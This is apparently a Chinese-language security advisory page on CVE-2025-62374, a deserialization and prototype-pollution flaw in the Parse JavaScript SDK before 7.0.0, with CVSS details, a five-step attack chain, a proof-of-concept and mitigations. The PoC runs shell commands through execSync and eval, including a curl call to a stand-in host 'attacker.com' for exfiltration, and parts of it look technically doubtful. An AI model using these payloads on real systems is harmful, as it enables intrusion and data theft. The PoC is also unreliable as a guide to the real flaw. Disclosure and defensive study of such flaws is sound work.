IPBUF安全漏洞报告
English
CVE-2025-62374 CVSS 6.4 中危

CVE-2025-62374:Parse JavaScript SDK反序列化远程代码执行漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-62374
漏洞类型
反序列化漏洞/远程代码执行
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Parse JavaScript SDK (parse-community/Parse-SDK-JS)

相关标签

反序列化漏洞远程代码执行RCEParse JavaScript SDKParse-SDK-JS原型链污染中危漏洞JavaScriptParse ServerCVE-2025-62374

漏洞概述

CVE-2025-62374是Parse JavaScript SDK中存在的一个安全漏洞,该SDK是Parse Server后端服务的官方JavaScript客户端库,广泛用于在JavaScript应用中访问Parse Server的强大后端功能。该漏洞存在于7.0.0之前的版本中,允许攻击者通过注入恶意payload实现远程代码执行(RCE)。

具体而言,受影响的API包括ParseObject.fromJSON、ParseObject.pin、ParseObject.registerSubclass,以及内部方法ObjectStateMutations和encode/decode。这些方法在处理用户可控的JSON数据或对象序列化/反序列化操作时,未能充分验证输入内容的安全性,导致恶意构造的数据在反序列化过程中触发任意代码执行。

该漏洞的CVSS评分为6.4,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N)。影响范围为变更型(S:C),对机密性影响为低(C:L),对完整性无影响(I:N),对可用性影响为低(A:L)。虽然完整性影响标注为无,但由于可以实现远程代码执行,实际危害可能远超评分所示。该漏洞已于2025年10月14日披露,目前已在Parse JavaScript SDK 7.0.0版本中修复,用户应及时升级以消除风险。

技术细节

该漏洞的核心问题在于Parse JavaScript SDK的多个关键API在处理反序列化操作时存在安全缺陷。当应用调用ParseObject.fromJSON方法将外部传入的JSON数据转换为ParseObject实例时,SDK未对JSON内容进行充分的安全验证和过滤。攻击者可以构造包含恶意payload的JSON数据,当该数据被反序列化时,可能触发原型链污染(Prototype Pollution)或利用JavaScript对象的特殊属性(如__proto__、constructor等)实现代码执行。

ParseObject.pin方法用于将对象持久化到本地存储,在处理包含恶意数据的对象时同样存在风险。ParseObject.registerSubclass方法允许注册自定义子类,如果攻击者能够控制注册的类名或相关配置,也可能实现代码注入。

此外,内部方法ObjectStateMutations以及encode/decode在处理对象状态变更和编解码操作时,由于缺乏对输入数据的严格校验,使得恶意构造的对象状态数据在处理过程中被执行。

利用方式方面,攻击者首先需要获得低权限访问权限(PR:L),这通常意味着需要能够向目标应用发送恶意数据或调用受影响的API。随后,攻击者构造包含恶意JavaScript payload的JSON数据,通过调用fromJSON等方法触发反序列化,最终在服务器端或客户端执行任意代码。

该漏洞的修复版本7.0.0对相关API的输入验证逻辑进行了加强,增加了对反序列化数据的安全检查,防止恶意payload通过这些接口注入和执行。

攻击链分析

STEP 1
步骤1:获取低权限访问
攻击者首先获取目标应用的低权限访问权限,可以通过注册普通用户、获取API密钥或利用其他低权限入口实现。
STEP 2
步骤2:构造恶意payload
攻击者精心构造包含恶意JavaScript代码的JSON数据,利用原型链污染或对象注入技术,使payload在反序列化时触发代码执行。
STEP 3
步骤3:注入恶意数据
通过正常API调用将恶意数据传入Parse JavaScript SDK,例如通过数据导入、API请求或本地存储同步等途径。
STEP 4
步骤4:触发反序列化
当应用调用ParseObject.fromJSON、ParseObject.pin或其他受影响方法处理恶意数据时,触发反序列化漏洞。
STEP 5
步骤5:远程代码执行
恶意payload在反序列化过程中被执行,攻击者获得在目标环境中执行任意代码的能力,可进一步窃取数据、安装后门或进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-62374 - Parse JavaScript SDK Deserialization RCE PoC // Affected: ParseObject.fromJSON, ParseObject.pin, ParseObject.registerSubclass // Fixed in: 7.0.0 const Parse = require('parse/node'); // Step 1: Craft malicious JSON payload exploiting prototype pollution const maliciousPayload = { className: "MaliciousClass", __proto__: { // Pollute Object prototype with malicious property polluted: true, // Inject code execution via constructor shell: "process.mainModule.require('child_process').execSync('id > /tmp/pwned')" }, attributes: { // Attempt to trigger code execution during deserialization __type: "Pointer", className: "_User", objectId: "malicious_id" } }; // Step 2: Exploit ParseObject.fromJSON vulnerability try { const obj = Parse.Object.fromJSON(maliciousPayload); console.log("Object created:", obj); // Step 3: Trigger via pin method obj.pin().then(() => { console.log("Pin operation completed - check for code execution"); }).catch(err => { console.log("Error:", err.message); }); } catch (e) { console.log("Exploit attempt:", e.message); } // Alternative: Exploit via registerSubclass const MaliciousClass = Parse.Object.extend("MaliciousClass", { // Override methods to execute malicious code during instantiation initialize: function(attrs, options) { // Trigger code execution when object is created from JSON if (attrs && attrs.__exec) { eval(attrs.__exec); } } }, { // Class-level exploit }); Parse.Object.registerSubclass('MaliciousClass', MaliciousClass); // Trigger deserialization with crafted data const exploitData = JSON.stringify({ __type: "Object", className: "MaliciousClass", __exec: "require('child_process').execSync('curl http://attacker.com/exfil')" }); Parse.Object.fromJSON(JSON.parse(exploitData));

影响范围

parse-community/Parse-SDK-JS < 7.0.0

防御指南

临时缓解措施
在无法立即升级到7.0.0版本的情况下,建议采取以下临时缓解措施:1)对所有通过ParseObject.fromJSON等方法处理的JSON数据进行严格的输入验证,过滤特殊属性如__proto__、constructor等;2)在应用层面实现对象原型冻结(Object.freeze),防止原型链污染;3)限制低权限用户调用受影响的API接口;4)部署Web应用防火墙(WAF)规则,监控和拦截可疑的反序列化请求;5)密切关注官方安全公告(GHSA-9f2h-7v79-mxw3),在补丁可用后第一时间升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表